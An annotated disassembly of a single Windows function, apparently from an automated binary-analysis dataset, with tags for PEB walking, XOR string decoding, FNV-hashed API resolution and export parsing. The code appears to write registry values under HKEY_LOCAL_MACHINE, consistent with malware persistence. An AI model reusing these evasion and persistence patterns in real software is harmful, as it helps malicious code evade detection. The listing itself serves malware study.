Function at 0x14002ced0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x14003d010]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov rsi, rdx
mov r15, rcx
mov qword [rbp - 8], rcx
xor r14d, r14d
mov dword [rbp + 4], 1
mov dword [rbp + 8], 1
mov dword [rbp], 3
mov rdi, qword [rcx + 0x10]
call fcn.140008770
mov rbx, rax
mov qword [rbp + 0x10], 0xffffffffffffffff
test rdi, rdi
je 0x14002cf72
lea rcx, [rdi - 1]
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x10]
call fcn.1400073b0
mov rdi, qword [rax]
add rdi, rbx
cmp byte [rdi], 0x5c
je 0x14002cf6d
nop dword [rax]
cmp rdi, rbx
je 0x14002cf72
dec rdi
cmp byte [rdi], 0x5c
jne 0x14002cf60
sub rdi, rbx
jmp 0x14002cf79
mov rdi, 0xffffffffffffffff
inc rdi
lea rcx, [rsp + 0x50]
call fcn.140004340
mov r8, rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.14000de30
nop
mov rdx, rdi
mov rcx, r15
call fcn.14000b1e0
mov r8, 0xffffffffffffffff
mov rdx, rdi
mov rcx, r15
call fcn.14000b170
mov rbx, rax
mov rcx, r15
call fcn.140008770
lea rdx, [rdi + rax]
mov r8, rbx
lea rcx, [rbp + 0x20]
call fcn.14000ce40
nop
mov rbx, qword [rbp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.140008770
mov rdi, rax
test rbx, rbx
je 0x14002d003
mov r8, rbx
mov edx, 0x2e
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14002d003
sub rbx, rdi
jmp 0x14002d00a
mov rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.140004340
mov r8, rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x68]
call fcn.14000de30
nop
xor edx, edx
lea rcx, [rbp + 0x20]
call fcn.14000b1e0
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x20]
call fcn.14000b170
mov rbx, rax
lea rcx, [rbp + 0x20]
call fcn.140008770
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.14000ce40
nop
movabs rax, 0x15940405bb36120c
mov qword [rbp - 0x40], rax
movabs rax, 0xf400d51358e82f7d
mov qword [rbp - 0x38], rax
movabs rax, 0xd3ea59de57c0570f
mov qword [rbp - 0x30], rax
movabs rax, 0xcf5e4e8192422f9e
mov qword [rbp - 0x28], rax
movabs rax, 0xc21f7a3c321aca30
mov qword [rbp - 0x20], rax
movabs rcx, 0x186cc169d94fcb9c
mov qword [rbp - 0x18], rcx
movabs r13, 0x56c86960cf456b5f
mov qword [rbp + 0xb0], r13
movabs r12, 0x9b43a17d3d9a5d08
mov qword [rbp + 0xb8], r12
movabs rdi, 0xa78f0ab238b22361
mov qword [rbp + 0xc0], rdi
movabs rbx, 0xaa3d27f7e0277cc2
mov qword [rbp + 0xc8], rbx
movabs rax, 0xc21f7a3c321a9643
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rcx
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [rbp - 0x30]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp - 0x20], xmm0
lea r8, [rbp + 0x68]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x48]
call fcn.14000bcc0
nop
movabs rax, 0x24bc1a09a8203903
mov qword [rbp - 0x60], rax
movabs rax, 0xf52ac91e5cd70171
mov qword [rbp - 0x58], rax
movabs rax, 0xa78f0ab238b27f04
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rbx
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], rbx
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp - 0x50], xmm1
lea r8, [rbp + 0x48]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xb0]
call fcn.14000bcc0
mov rbx, rax
cmp rsi, rax
je 0x14002d1fb
mov rcx, rsi
call fcn.140009890
mov rcx, rbx
call fcn.140009890
mov rcx, rsi
call fcn.14000a2f0
mov rdx, rbx
mov rcx, rsi
call fcn.14000a8b0
lea rcx, [rbp + 0xb0]
call fcn.140009050
lea rcx, [rbp + 0x48]
call fcn.140008e50
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002d2a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002d2a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0xd5d59036
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14002d2a1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14002d280
cmp r8d, 0xf5d9bf6d
je 0x14002d2ab
test r9d, r9d
jne 0x14002d260
mov rcx, qword [rcx]
jmp 0x14002d230
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
test eax, eax
jne 0x14002d3b9
lea rcx, [rbp + 0x48]
call fcn.140008e50
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002d386
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002d386
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0xdcda1869
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14002d381
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14002d360
cmp r8d, 0x621f2e23
je 0x14002d38b
test r9d, r9d
jne 0x14002d340
mov rcx, qword [rcx]
jmp 0x14002d310
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
xor r9d, r9d
mov r8d, pe_nt_image_headers64
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
lea rcx, [rbp + 0x48]
call fcn.140008e50
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002d456
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002d456
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0xef7e2da9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14002d451
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14002d430
cmp r8d, 0x62a41a94
je 0x14002d45b
test r9d, r9d
jne 0x14002d410
mov rcx, qword [rcx]
jmp 0x14002d3e0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
test eax, eax
je 0x14002d4db
lea rcx, [rbp + 0x48]
call fcn.140009050
nop
lea rcx, [rbp + 0x68]
call fcn.140009050
nop
lea rcx, [rbp + 0x20]
call fcn.140009050
nop
mov rcx, r15
call fcn.140009050
xor al, al
jmp 0x14002da56
mov rcx, r15
call fcn.140008e40
lea rsi, [rax + 4]
movabs rax, 0x56c86960937a5403
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], r12
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r12
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm0
mov r8, r15
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xb0]
call fcn.14000bcc0
nop
mov rcx, rax
call fcn.140008e50
mov r14, rax
movabs rax, 0x22a93905a8240616
mov qword [rsp + 0x60], rax
movabs rax, 0x9b43a17d3d9a5d60
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r12
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002d606
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002d606
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0x7169e8b7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14002d601
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14002d5e0
cmp r8d, 0x4c44d336
je 0x14002d60b
test r9d, r9d
jne 0x14002d5c0
mov rcx, qword [rcx]
jmp 0x14002d590
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r14
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rbp - 0x10]
call r10
mov esi, eax
lea rcx, [rbp + 0xb0]
call fcn.140009050
test esi, esi
jne 0x14002d97a
movabs rax, 0x56c86960aa35120b
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r12
mov qword [rbp + 0x100], r13
mov qword [rbp + 0x108], r12
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rsp + 0x70], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002d716
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002d716
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x7ce266d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002d711
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002d6f0
cmp r8d, 0xc4bbe764
je 0x14002d71b
test r9d, r9d
jne 0x14002d6d0
mov rax, qword [rax]
jmp 0x14002d6a0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x28], 4
lea rax, [rbp + 4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, qword [rbp - 0x10]
call r10
mov esi, eax
test eax, eax
jne 0x14002d97a
movabs rax, 0x38a72a12a037191a
mov qword [rbp - 0x80], rax
movabs rax, 0x9b43a17d51f52f7c
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], r12
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp - 0x80], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002d826
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002d826
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x5335344a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002d821
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002d800
cmp r8d, 0x85e89ab7
je 0x14002d82b
test r9d, r9d
jne 0x14002d7e0
mov rax, qword [rax]
jmp 0x14002d7b0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x28], 4
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp - 0x80]
mov rcx, qword [rbp - 0x10]
call r10
mov esi, eax
test eax, eax
jne 0x14002d97a
movabs rax, 0x56c86914bd241f0c
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], r12
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r12
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp - 0x70], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002d936
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002d936
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xfd8639bc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002d931
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002d910
cmp r8d, 0x674c2e51
je 0x14002d93b
test r9d, r9d
jne 0x14002d8f0
mov rax, qword [rax]
jmp 0x14002d8c0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x28], 4
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x10]
call r10
mov esi, eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14002da06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002da06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x48ebdc55
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14002da01
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14002d9e0
cmp r8d, 0x86351f1a
je 0x14002da0b
test r9d, r9d
jne 0x14002d9c0
mov rax, qword [rax]
jmp 0x14002d990
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp - 0x10]
call rdx
test esi, esi
sete bl
lea rcx, [rbp + 0x48]
call fcn.140009050
nop
lea rcx, [rbp + 0x68]
call fcn.140009050
nop
lea rcx, [rbp + 0x20]
call fcn.140009050
nop
mov rcx, r15
call fcn.140009050
movzx eax, bl
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.1400318f0
mov rbx, qword [rsp + 0x280]
add rsp, 0x230
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret